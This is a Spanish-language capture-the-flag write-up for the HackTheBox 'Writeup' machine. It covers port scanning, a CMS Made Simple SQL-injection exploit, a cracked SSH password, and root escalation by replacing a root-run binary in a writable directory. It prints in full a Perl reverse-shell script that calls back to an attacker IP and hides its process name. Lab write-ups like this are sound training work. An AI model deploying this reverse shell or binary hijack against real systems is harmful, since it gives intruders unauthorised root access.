Está en la página 1de 10

Hackthebox - Writeup Magichk

Writeup Machine - Writeup

Lo primero de todo como siempre hacemos un escaneo de puertos con la herramienta


nmap.

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-09 13:35 CEST


Nmap scan report for 10.10.10.138
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .


Nmap done: 1 IP address (1 host up) scanned in 48.01 seconds

Con nmap ya podemos observar que en el puerto 80 se ha encontrado una entrada


deshabilitada en el robots.txt : /writeup

Entramos primero al portal original ​http://10.10.10.138


Hackthebox - Writeup Magichk
Hackthebox - Writeup Magichk

Accedemos al /writeup que nos había mostrado nmap que estaba en disallow en el
robots.txt y vemos que podemos acceder a varios reports de máquinas antiguas de HTB. En
la página principal vemos que se trata de un CMS, en concreto de CMS Made Simple.

Inspeccionamos el código fuente y vemos que se trata de un CMS Made Simple.

Hacemos un poco de búsqueda en exploit-db y vemos que hay varios exploits para
diferentes versiones, pero en concreto nos topamos con este exploit:
https://www.exploit-db.com/exploits/46635

Este exploit trata de hacer sql injection y va probando caracteres para predecir la
contraseña cifrada y si le indicamos la opción de crack incluso la podemos descifrar,
acabando como mostramos a continuación:

python cms-made-simple.py -u ​http://10.10.10.138/writeup​ --crack -w


/usr/share/wordlist/rockyou.txt
Hackthebox - Writeup Magichk

El paso anterior puede que no nos dé a la primera como toca, pero a base de probarlo
finalmente lo conseguí obtener correctamente :D

Como vemos la contraseña es: ​raykayjay9

Nos connectamos por ssh con el usuario jkr que también nos ha dicho y obtenemos el
user.txt

Para la escalada de privilegios voy a utilizar la herramienta linPE,


https://github.com/carlospolop/linPE
Hackthebox - Writeup Magichk

Descargamos la herramienta y al ejecutarla ya nos indica que puede escribir en el home del
usuario y es allí dónde dejará un fichero con el report que vaya obteniendo. Además nos
indica un código de colores para que nos sea más sencillo identificar posibles vectores de
ataque.

Vemos rápidamente gracias a los colores que hay un directorio en el cual tenemos permisos
/usr/local/bin que, aunque no podemos hacer un ls para listar si que podemos escribir dentro
de él como nos indica linPE.

Otra cosa a tener en cuenta es que en la parte de procesos el usuario root está ejecutando
el binario “run-parts” del cual nosotros también como usuario jkr podemos utilizar.
Hackthebox - Writeup Magichk

Si comprobamos con pspy64 los procesos que corren vamos a confirmar que el usuario root
corre sistematicamente el binario run-parts situado en la carpeta /usr/local/bin en la cual
tenemos permisos para crear y modificar ficheros.

Creamos un fichero en perl (con la reverse shell en perl de pentestmonkey) para poder
conseguir una reverse shell, lo metemos en el directorio /usr/local/bin/ con el nombre de
run-parts y luego le damos permisos. De esta manera sustituimos el binario que ejecuta el
usuario root. Cuando iniciemos sesión el usuario root ejecutará el binario run-parts y
nosotros deberíamos de recibir la shell remota.

Nota: Podriamos usar otro tipo de reverse por ejemplo en python.

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
# Copyright (C) 2006 pentestmonkey@pentestmonkey.net
#
# This tool may be used for legal purposes only. Users take full responsibility
# for any actions performed using this tool. The author accepts no liability
# for damage caused by this tool. If these terms are not acceptable to you, then
# do not use this tool.
#
# In all other respects the GPL version 2 applies:
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
Hackthebox - Writeup Magichk

# but WITHOUT ANY WARRANTY; without even the implied warranty of


# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# This tool may be used for legal purposes only. Users take full responsibility
# for any actions performed using this tool. If these terms are not acceptable to
# you, then do not use this tool.
#
# You are encouraged to send comments, improvements or suggestions to
# me at pentestmonkey@pentestmonkey.net
#
# Description
# -----------
# This script will make an outbound TCP connection to a hardcoded IP and port.
# The recipient will be given a shell running as the current user (apache normally).
#

use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.


my $ip = '10.10.13.181';
my $port = 4444;

# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious


$0 = "[httpd]";

# Authenticate based on source IP address if required


if (defined($ENV{'REMOTE_ADDR'})) {
Hackthebox - Writeup Magichk

cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.
Denying access");
cgiexit(0);
}

# Background and dissociate from parent process if required


if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}

setsid();
chdir('/');
umask(0);
}

# Make TCP connection for reverse shell


socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection


open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print


sub cgiprint {
Hackthebox - Writeup Magichk

my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}

# Wrapper around exit


sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

Con esto conseguimos que al iniciar sesión con el usuario jkr por ssh , el usuario root
ejecute el binario “run-parts” como vimos con el pspy64 y se nos envíe la conexión remota
hacia nuestra máquina. Para ello necesitamos poner a la escucha el puerto 4444 con netcat
en nuestro caso.

Copiamos nuestro script a /usr/local/bin

Le damos permisos de ejecución.

Ponemos a la escucha ya nuestro netcat:


nc -nvlp 4444
Hackthebox - Writeup Magichk

Logamos en el servidor de nuevo con el usuario jkr y las credenciales ya obtenidas:

Obtendremos una shell reversa en la consola dónde estaba escuchando nuestro netcat en
el puerto 4444. Finalmente, comprobar que el usuario con el que recibimos la shell es root y
por lo tanto leer el fichero /root/root.txt !

También podría gustarte